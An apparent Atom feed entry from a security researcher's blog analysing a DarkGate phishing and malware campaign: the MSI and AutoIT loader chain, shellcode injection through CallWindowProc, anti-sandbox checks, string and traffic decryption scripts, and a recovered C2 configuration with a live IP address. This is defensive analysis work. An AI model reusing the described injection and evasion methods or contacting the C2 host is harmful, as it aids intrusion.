<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://0x1john.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://0x1john.github.io/" rel="alternate" type="text/html" /><updated>2026-01-17T02:50:25+00:00</updated><id>https://0x1john.github.io/feed.xml</id><title type="html">0x1john Labs</title><subtitle>Security Researcher - Threat Analyst - Malware Analysis - Blue Team</subtitle><author><name>0x1john</name></author><entry><title type="html">DarkGate - Threat Breakdown Journey</title><link href="https://0x1john.github.io/threat%20breakdown/DarkGate-Camapign-Analysis/" rel="alternate" type="text/html" title="DarkGate - Threat Breakdown Journey" /><published>2023-08-06T00:00:00+00:00</published><updated>2023-08-06T00:00:00+00:00</updated><id>https://0x1john.github.io/threat%20breakdown/DarkGate-Camapign-Analysis</id><content type="html" xml:base="https://0x1john.github.io/threat%20breakdown/DarkGate-Camapign-Analysis/"><![CDATA[<h1 id="intro">Intro</h1>

<p>Over the past month, a widespread phishing campaign has targeted individuals globally.</p>

<p>The campaigns execution chain ends with the deployment of a malware known as: DarkGate. A loader type malware.</p>

<p>DarkGate is exclusively sold on underground online forums and the developer keeps a very tight amount of seats for customers.</p>

<h1 id="the-lure">The Lure</h1>

<p>The adversary behind the campaign distributed a high volume campaign of phishing emails, those mails were stolen conversation threads that the adversary had access to.</p>

<p>The challenge here lies in the fact that users often trust what they remember, and because of that, I think users who aren’t aware of such tactics could easily become infected and fall prey to the “social engineering” trap.</p>

<p>Below, you’ll find an example of the content the adversary added to the hijacked conversation thread:</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/1.png" alt="Untitled" /></p>

<p>I’ve created a diagram that demonstrates the execution flow of the campaign:</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/2.png" alt="Untitled" /></p>

<h1 id="geofence-check">Geofence Check</h1>

<p>Honestly, I’m still trying to figure out what checks need to be passed to get through the geofence set by the adversary. After examining some of the URLs on URLscan.io, I discovered that those which were successful in obtaining a payload featured the <code class="language-plaintext highlighter-rouge">refresh</code> header in their response (makes sense). This header included the URL needed to download the payload, for instance:</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/3.png" alt="Untitled" /></p>

<p>If the user successfully passes the check, an MSI file is downloaded from the URL, following the structure: <code class="language-plaintext highlighter-rouge">Project_[0-9]{7}\.msi</code></p>

<h1 id="msi-loader">MSI Loader</h1>

<p>The downloaded MSI carries two embedded files:</p>

<ul>
  <li>CustomAction.dll</li>
  <li>WrappedSetupProgram.cab</li>
</ul>

<p>The DLL is called upon by the MSI to unpack the content housed in WrappedSetupProgram.cab and execute it.</p>

<p>The cab archive includes two files:</p>

<ul>
  <li>Autoit3.exe</li>
  <li>UGtZgHHT.au3 (AutoIT 3 script)</li>
</ul>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/4.png" alt="Untitled" /></p>

<h1 id="autoit-script">AutoIT Script</h1>

<h2 id="extracting-the-script">Extracting The Script</h2>

<p>Upon initial examination, the script appears to be altered. Typically, most AutoIT scripts I’ve come across begin with the magic bytes <code class="language-plaintext highlighter-rouge">A3 48 4B BE</code> and <code class="language-plaintext highlighter-rouge">41 55 33 21 45 41</code> (AU3!EA) like explained in this <a href="https://ghoulsec.medium.com/mal-series-6-autoit-analysis-guide-30072dda044a">blog</a>:</p>

<blockquote>
  <p><em>You can find the au3 script magic <code class="language-plaintext highlighter-rouge">bytes AU!EA06</code>(06 here is the subtype of the script), inside of its hex dump as shown in the picture below.</em></p>

</blockquote>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/5.png" alt="Untitled" /></p>

<p>However, the script I analyzed contained a substantial amount of what seemed to be junk data at the start of the file. (We’ll get back to this later in the blog)</p>

<p>I managed to locate the magic bytes indicating the AU3 script’s starting point at the offset <code class="language-plaintext highlighter-rouge">0xA0A5C</code>:</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/6.png" alt="Untitled" /></p>

<p>To extract the actual script, I changed the file’s extension from au3 to a3x (representing an AutoIT3 compiled script) and used the tool <a href="https://github.com/fossabot/myAut2Exe">myAut2Exe</a> for extraction.</p>

<h2 id="shellcode-callwindowproc-injection">Shellcode CallWindowProc Injection</h2>

<p>The AU3 script consists of two main components:</p>

<ol>
  <li>A segmented hex-encoded shellcode that is concatenated into a single variable.</li>
  <li>Injection and execution of the shellcode.</li>
</ol>

<p>The first part is quite self-explanatory. In my analysis, the variable was named <strong>$SSUGZNUOOE</strong>, and it appeared over 2,000 times in the script:</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/7.png" alt="Untitled" /></p>

<p>The second segment of the script initiates by verifying the existence of the ProgramFiles folder and confirming that the username executing the script is not <strong>SYSTEM</strong>. I suspect these checks are evasion tactics to ensure the script runs within a standard Windows environment rather than a sandbox or custom setup.</p>

<p>The script proceeds to convert the hex-encoded shellcode to a binary string using the <code class="language-plaintext highlighter-rouge">BinaryToString</code> function and assigns it to the <strong>$MZRSVIMCSW</strong> variable. The variable <strong>$MFCKUCOYGW</strong> is initialized as a DLL structure sized to the shellcode using the <code class="language-plaintext highlighter-rouge">DllStructCreate</code> function.</p>

<p>The script checks if the path <code class="language-plaintext highlighter-rouge">C:\Program Files (x86)\Sophos</code> exists. If it doesn’t, a hex-encoded command is executed which, upon decoding, reveals the use of the API <code class="language-plaintext highlighter-rouge">VirtualProtect</code> to modify the memory region protection of $MZRSVIMCSW to ERX. (My theory is that the DarkGate developer noticed Sophos could detect changes in protection type)</p>

<p>The script then copies the content of the shellcode into the DLL structure and injects it by calling the API <code class="language-plaintext highlighter-rouge">CallWindowProc</code>. (I found a <a href="https://www.youtube.com/watch?v=tBDolrwd79M">youtube video</a> that presents a POC for the injection)</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/8.png" alt="Untitled" /></p>

<h2 id="shellcode-analysis">ShellCode Analysis</h2>

<p>Upon loading the ShellCode in IDA, it becomes immediately apparent that the shellcode consists of a single large function that loads stack-strings.</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/9.png" alt="Untitled" /></p>

<p>In addition, I used <a href="https://github.com/mandiant/flare-floss">FLOSS</a> to check on the strings and FLOSS successfully extracted 71 strings:</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/10.png" alt="Untitled" /></p>

<p>Next, I will use <a href="https://github.com/OALabs/BlobRunner">BlobRunner</a> to invoke the shellcode, set a breakpoint after all the stack-strings have been pushed onto the stack, and dump the memory containing the executable that was pushed:</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/11.png" alt="Untitled" /></p>

<h1 id="loader-analysis">Loader Analysis</h1>

<p>The loader we’ve dumped will be in charge of decoding and executing part of the junk data stored inside of the AutoIT script (After decoding we will face with the final binary which is the <strong><em>DarkGate</em></strong> loader)</p>

<p>The loader requires a a command line argument which will be the path to the AutoIT script. The loader will check for the argument and if it’s not ends with <strong>.au3</strong> or the executable can’t get a handle for the file a message box with the text “<strong>bin 404</strong>” will appear and the loader will terminate itself.</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/12.png" alt="Untitled" /></p>

<p>When the loader successfully accesses the AutoIT script, it reads its content and segments it based on the character: <strong><code class="language-plaintext highlighter-rouge">|</code></strong> (0x7C).</p>

<p>Next, the loader retrieves 8 bytes from the second offset of the data located in the second element of the array. (Represented as: <code class="language-plaintext highlighter-rouge">stringsArray[2][1:9] == xorKeyData</code>).</p>

<p>The character <code class="language-plaintext highlighter-rouge">a</code> is then prefixed to these extracted bytes. (Resulting in: <code class="language-plaintext highlighter-rouge">a + xorKeyData == modifiedXorKey</code>).</p>

<p>To generate the decryption key, the loader first determines the length of the concatenated byte array, then employs an XOR loop over each byte in the array (<code class="language-plaintext highlighter-rouge">len(modifiedXorKey) ^ modifiedXorKey[0] ^ modifiedXorKey[1] ...</code>).</p>

<p>The loader fetches the data from the third element of the array and decodes it from base64. Each byte of this data is XOR-ed with the decryption key and also applied with a NOT operation.</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/13.png" alt="Untitled" /></p>

<p>The outcome of this process is an executable, which is the final payload (<strong>DarkGate</strong> malware)</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/14.png" alt="Untitled" /></p>

<p>To streamline this process, I’ve created a Python script capable of extracting and decrypting the DarkGate payload from the AutoIT script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64decode</span>

<span class="n">AUTO_IT_PATH</span> <span class="o">=</span> <span class="s">''</span> <span class="c1">#Change to the AutoIT script path.
</span><span class="n">FINAL_PAYLOAD_PATH</span> <span class="o">=</span> <span class="s">''</span> <span class="c1">#Change to output path.
</span>
<span class="n">fileData</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">AUTO_IT_PATH</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s">'ignore'</span><span class="p">)</span>

<span class="n">stringsArray</span> <span class="o">=</span> <span class="n">fileData</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'|'</span><span class="p">)</span>
<span class="n">modifiedXorKey</span> <span class="o">=</span> <span class="s">'a'</span> <span class="o">+</span> <span class="n">stringsArray</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="mi">1</span><span class="p">:</span><span class="mi">9</span><span class="p">]</span>

<span class="n">decodedData</span> <span class="o">=</span> <span class="n">b64decode</span><span class="p">(</span><span class="n">stringsArray</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">modifiedXorKey</span><span class="p">)</span>

<span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">modifiedXorKey</span><span class="p">:</span>
    <span class="n">key</span> <span class="o">^=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">byte</span><span class="p">)</span>

<span class="n">finalPayload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>

<span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">decodedData</span><span class="p">:</span>
    <span class="n">finalPayload</span> <span class="o">+=</span> <span class="nb">bytes</span><span class="p">([</span><span class="o">~</span><span class="p">(</span><span class="n">byte</span> <span class="o">^</span> <span class="n">key</span><span class="p">)</span><span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">])</span>

<span class="nb">open</span><span class="p">(</span><span class="n">FINAL_PAYLOAD_PATH</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">finalPayload</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'[+] Final Payload Was Created!'</span><span class="p">)</span>
</code></pre></div></div>

<h1 id="darkgate-analysis">DarkGate Analysis</h1>

<p>Essentially, you can read through the developer’s sale thread on <a href="https://xss.is/threads/90634/">xss.is</a> and understand the various capabilities of the loader, which include:</p>

<ul>
  <li>HVNC</li>
  <li>Crypto miner setup</li>
  <li>Browser history and cookie theft</li>
  <li>RDP</li>
  <li>HAnyDesk</li>
</ul>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/15.png" alt="Untitled" /></p>

<p>During my analysis, my primary objective was to decrypt the contained strings, locate the C2 strings (since they’re not available in plain text), and decrypt the network traffic.</p>

<h2 id="strings-decryption">Strings Decryption</h2>

<p>During my investigation, I found two embedded strings (each 64 characters long) which are invoked by two different but similar functions:</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/16.png" alt="Untitled" /></p>

<p>When checking the cross-references for the first string (used in the function on the left), we can see a total of <strong>864</strong> calls to the function.</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/17.png" alt="Untitled" /></p>

<p>The first argument passed to the function is the container for the return value, and the second argument is the “encrypted” string.</p>

<p>These hard-coded strings are part of a custom Base64 decoding routine. I’d like to extend my personal thanks to <a href="https://twitter.com/rivitna2">@rivitna2</a> for correcting me when initially published the strings decoding script.</p>

<blockquote class="twitter-tweet" data-theme="dark"><p lang="en" dir="ltr">It isn&#39;t encryption, it&#39;s Base64 encoding with a non-standard table :-)</p>&mdash; rivitna (@rivitna2) <a href="https://twitter.com/rivitna2/status/1686309211163021312?ref_src=twsrc%5Etfw">August 1, 2023</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>The first batch of decoded strings represents all the strings utilized by DarkGate during its execution. Some of these strings looks like notification messages sent to the C2, such as:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>- New Bot: DarkGate is inside hAnyDesk user with admin rights
- DarkGate not found to get executed on the new hAnyDesk Desktop, Did you enabled Startup option on builder?
- Credentials detected, removing them!
</code></pre></div></div>

<p>You can find a list of all decoded strings <a href="https://gist.github.com/0xToxin/b9b1db86f8b395a6ef6c6e99698d1f64">here</a></p>

<p>The second hard-coded string is employed in the same routine, but it’s called much less frequently. The developer tried to mess up a bit with researchers from discovering DarkGate’s configurations by adding this second hard-coded string. It is used for decoding DarkGate’s configurations and it also plays a role in decoding the network traffic data.</p>

<p>By decoding the data associated with the second hard-coded string, I managed to uncover DarkGate’s configuration:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://80.66.88.145|
0=7891
1=Yes
2=Yes
3=No
5=Yes
4=50
6=No
8=Yes
7=4096
9=No
10=bbbGcB
11=No
12=No
13=Yes
14=4
15=bIWRRCGvGiXOga
16=4
17=No
18=Yes
19=Yes
</code></pre></div></div>

<p>Below is an IDAPython script that requires both the wrapper function calls and the hard-coded strings:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">idc</span>
<span class="kn">import</span> <span class="nn">idautils</span>
<span class="kn">import</span> <span class="nn">idaapi</span>
<span class="kn">import</span> <span class="nn">re</span>

<span class="n">DECRYPTION_FUNCTION_1</span> <span class="o">=</span> <span class="c1"># Replace with "Wrapper" function call
</span><span class="n">LIST_1</span> <span class="o">=</span> <span class="c1"># Add 64 length list 
</span><span class="n">STRINGS_FILE_1</span> <span class="o">=</span> <span class="c1"># Output file path
</span>
<span class="n">DECRYPTION_FUNCTION_2</span> <span class="o">=</span> <span class="c1"># Replace with "Wrapper" function call
</span><span class="n">LIST_2</span> <span class="o">=</span> <span class="c1"># Add 64 length list 
</span><span class="n">STRINGS_FILE_2</span> <span class="o">=</span> <span class="c1"># Output file path
</span>
<span class="k">def</span> <span class="nf">decShiftFunc</span><span class="p">(</span><span class="n">arg1</span><span class="p">,</span> <span class="n">arg2</span><span class="p">,</span> <span class="n">arg3</span><span class="p">,</span> <span class="n">arg4</span><span class="p">):</span>
    <span class="n">final</span> <span class="o">=</span> <span class="s">''</span>
    <span class="n">tmp</span> <span class="o">=</span> <span class="p">(</span><span class="n">arg1</span> <span class="o">&amp;</span> <span class="mh">0x3F</span><span class="p">)</span> <span class="o">*</span> <span class="mi">4</span>
    <span class="n">final</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(((</span><span class="n">arg2</span> <span class="o">&amp;</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">tmp</span><span class="p">)</span>
    <span class="n">tmp</span> <span class="o">=</span> <span class="p">(</span><span class="n">arg2</span> <span class="o">&amp;</span> <span class="mh">0xF</span><span class="p">)</span> <span class="o">*</span> <span class="mi">16</span>
    <span class="n">final</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(((</span><span class="n">arg3</span> <span class="o">&amp;</span> <span class="mh">0x3C</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">tmp</span><span class="p">)</span>
    <span class="n">final</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">arg4</span> <span class="o">&amp;</span> <span class="mh">0x3F</span><span class="p">)</span> <span class="o">+</span> <span class="p">((</span><span class="n">arg3</span> <span class="o">&amp;</span> <span class="mh">0x03</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">6</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">final</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\0</span><span class="s">'</span><span class="p">,</span><span class="s">''</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">decWrapperFunc</span><span class="p">(</span><span class="n">encData</span><span class="p">,</span> <span class="n">listNum</span><span class="p">):</span>
    <span class="n">hexList</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">encData</span><span class="p">:</span>
        <span class="n">hexList</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">listNum</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>

    <span class="n">subLists</span> <span class="o">=</span> <span class="p">[</span><span class="n">hexList</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">hexList</span><span class="p">),</span> <span class="mi">4</span><span class="p">)]</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">subLists</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">:</span>
        <span class="n">subLists</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">].</span><span class="n">extend</span><span class="p">([</span><span class="mh">0x00</span><span class="p">]</span> <span class="o">*</span> <span class="p">(</span><span class="mi">4</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">subLists</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])))</span>

    <span class="n">finalString</span> <span class="o">=</span> <span class="s">''</span>
    <span class="k">for</span> <span class="n">subList</span> <span class="ow">in</span> <span class="n">subLists</span><span class="p">:</span>
        <span class="n">finalString</span> <span class="o">+=</span> <span class="n">decShiftFunc</span><span class="p">(</span><span class="n">subList</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="n">subList</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="n">subList</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="n">subList</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span>
    <span class="k">return</span> <span class="n">finalString</span>

<span class="k">def</span> <span class="nf">getArg</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">):</span>
    <span class="n">ref_addr</span> <span class="o">=</span> <span class="n">idc</span><span class="p">.</span><span class="n">prev_head</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">idc</span><span class="p">.</span><span class="n">print_insn_mnem</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">)</span> <span class="o">==</span> <span class="s">'mov'</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">idc</span><span class="p">.</span><span class="n">get_operand_type</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="n">idc</span><span class="p">.</span><span class="n">o_imm</span><span class="p">:</span>
            <span class="k">return</span><span class="p">(</span><span class="n">idc</span><span class="p">.</span><span class="n">get_operand_value</span><span class="p">(</span><span class="n">ref_addr</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">listDecrypt</span><span class="p">(</span><span class="n">functionEA</span><span class="p">,</span> <span class="n">listID</span><span class="p">,</span> <span class="n">fileID</span><span class="p">):</span>
    <span class="n">stringsList</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">xref</span> <span class="ow">in</span> <span class="n">idautils</span><span class="p">.</span><span class="n">XrefsTo</span><span class="p">(</span><span class="n">functionEA</span><span class="p">):</span>
        <span class="n">argPtr</span> <span class="o">=</span> <span class="n">getArg</span><span class="p">(</span><span class="n">xref</span><span class="p">.</span><span class="n">frm</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">argPtr</span><span class="p">:</span>
            <span class="k">continue</span>
        <span class="n">data</span> <span class="o">=</span> <span class="n">idc</span><span class="p">.</span><span class="n">get_bytes</span><span class="p">(</span><span class="n">argPtr</span><span class="p">,</span> <span class="mi">300</span><span class="p">)</span>
        <span class="n">encData</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">sub</span><span class="p">(</span><span class="sa">b</span><span class="s">'[^</span><span class="se">\x20</span><span class="s">-</span><span class="se">\x7F</span><span class="s">]+'</span><span class="p">,</span> <span class="s">''</span><span class="p">,</span> <span class="n">data</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]).</span><span class="n">decode</span><span class="p">()</span> <span class="c1"># Cleaning...
</span>        <span class="n">decData</span> <span class="o">=</span> <span class="n">decWrapperFunc</span><span class="p">(</span><span class="n">encData</span><span class="p">,</span><span class="n">listID</span><span class="p">)</span>
        <span class="n">stringsList</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">decData</span><span class="p">)</span>
        <span class="n">idc</span><span class="p">.</span><span class="n">set_cmt</span><span class="p">(</span><span class="n">idc</span><span class="p">.</span><span class="n">prev_head</span><span class="p">(</span><span class="n">xref</span><span class="p">.</span><span class="n">frm</span><span class="p">),</span> <span class="n">decData</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
    
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'[+] </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">stringsList</span><span class="p">)</span><span class="si">}</span><span class="s"> Strings were extracted'</span><span class="p">)</span>
    <span class="n">out</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">fileID</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">string</span> <span class="ow">in</span> <span class="n">stringsList</span><span class="p">:</span>
        <span class="n">out</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">string</span><span class="si">}</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
    <span class="n">out</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

<span class="k">print</span><span class="p">(</span><span class="s">'[*] Staring decryption of list 1'</span><span class="p">)</span>
<span class="n">listDecrypt</span><span class="p">(</span><span class="n">DECRYPTION_FUNCTION_1</span><span class="p">,</span><span class="n">LIST_1</span><span class="p">,</span><span class="n">STRINGS_FILE_1</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'[+] Staring decryption of list 2'</span><span class="p">)</span>
<span class="n">listDecrypt</span><span class="p">(</span><span class="n">DECRYPTION_FUNCTION_2</span><span class="p">,</span><span class="n">LIST_2</span><span class="p">,</span><span class="n">STRINGS_FILE_2</span><span class="p">)</span> 
</code></pre></div></div>

<h2 id="network-traffic-decryption">Network Traffic Decryption</h2>

<p>As I hinted in the previous section, DarkGate’s network activity indeed incorporates both data obfuscation techniques we’ve encountered during the analysis:</p>

<ul>
  <li>Loop XOR</li>
  <li>Custom Base64 Decoding</li>
</ul>

<p>Now, let’s examine one of the network streams that is transmitted to the C2:</p>

<p><img src="/assets/images/DarkGate-Campaign-Analysis/18.png" alt="Untitled" /></p>

<p>In the POST request, we can observe several fields:</p>

<ul>
  <li>id</li>
  <li>data</li>
  <li>act</li>
</ul>

<p>The <strong>id</strong> is our XOR key initializer, which generates the actual XOR key using the same technique we used to initialize the XOR key for decrypting the final DarkGate payload. (<code class="language-plaintext highlighter-rouge">len(id) ^ id[0] ^ id[1] ..</code>)</p>

<p>The <strong>data</strong> field is encoded using the second hard-coded string. After decoding, this string will undergo an XOR operation with the key generated from <strong>id</strong>, as well as a NOT operation.</p>

<p>To simplify this process, I’ve created a Python script that decrypts the data:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">LIST</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># Replace list used for config decoding
</span><span class="n">DATA</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># Replace with the encrypted data from the network traffic
</span><span class="n">ID</span> <span class="o">=</span> <span class="s">''</span> <span class="c1"># Replace with the ID from the network traffic
</span>
<span class="k">def</span> <span class="nf">decShiftFunc</span><span class="p">(</span><span class="n">arg1</span><span class="p">,</span> <span class="n">arg2</span><span class="p">,</span> <span class="n">arg3</span><span class="p">,</span> <span class="n">arg4</span><span class="p">):</span>
    <span class="n">final</span> <span class="o">=</span> <span class="s">''</span>
    <span class="n">tmp</span> <span class="o">=</span> <span class="p">(</span><span class="n">arg1</span> <span class="o">&amp;</span> <span class="mh">0x3F</span><span class="p">)</span> <span class="o">*</span> <span class="mi">4</span>
    <span class="n">final</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(((</span><span class="n">arg2</span> <span class="o">&amp;</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">tmp</span><span class="p">)</span>
    <span class="n">tmp</span> <span class="o">=</span> <span class="p">(</span><span class="n">arg2</span> <span class="o">&amp;</span> <span class="mh">0xF</span><span class="p">)</span> <span class="o">*</span> <span class="mi">16</span>
    <span class="n">final</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(((</span><span class="n">arg3</span> <span class="o">&amp;</span> <span class="mh">0x3C</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">tmp</span><span class="p">)</span>
    <span class="n">final</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">arg4</span> <span class="o">&amp;</span> <span class="mh">0x3F</span><span class="p">)</span> <span class="o">+</span> <span class="p">((</span><span class="n">arg3</span> <span class="o">&amp;</span> <span class="mh">0x03</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">6</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">final</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'</span><span class="se">\0</span><span class="s">'</span><span class="p">,</span><span class="s">''</span><span class="p">)</span>

<span class="n">hexList</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">DATA</span><span class="p">:</span>
    <span class="n">hexList</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">LIST</span><span class="p">.</span><span class="n">index</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>

<span class="n">subLists</span> <span class="o">=</span> <span class="p">[</span><span class="n">hexList</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">4</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">hexList</span><span class="p">),</span> <span class="mi">4</span><span class="p">)]</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">subLists</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">:</span>
    <span class="n">subLists</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">].</span><span class="n">extend</span><span class="p">([</span><span class="mh">0x00</span><span class="p">]</span> <span class="o">*</span> <span class="p">(</span><span class="mi">4</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">subLists</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])))</span>

<span class="n">finalString</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">subList</span> <span class="ow">in</span> <span class="n">subLists</span><span class="p">:</span>
    <span class="n">finalString</span> <span class="o">+=</span> <span class="n">decShiftFunc</span><span class="p">(</span><span class="n">subList</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="n">subList</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="n">subList</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="n">subList</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span>

<span class="n">key</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">ID</span><span class="p">)</span>

<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">ID</span><span class="p">:</span>
    <span class="n">key</span> <span class="o">^=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>

<span class="n">plainData</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">finalString</span><span class="p">:</span>
    <span class="n">plainData</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="o">~</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="o">^</span> <span class="n">key</span><span class="p">)</span><span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> 

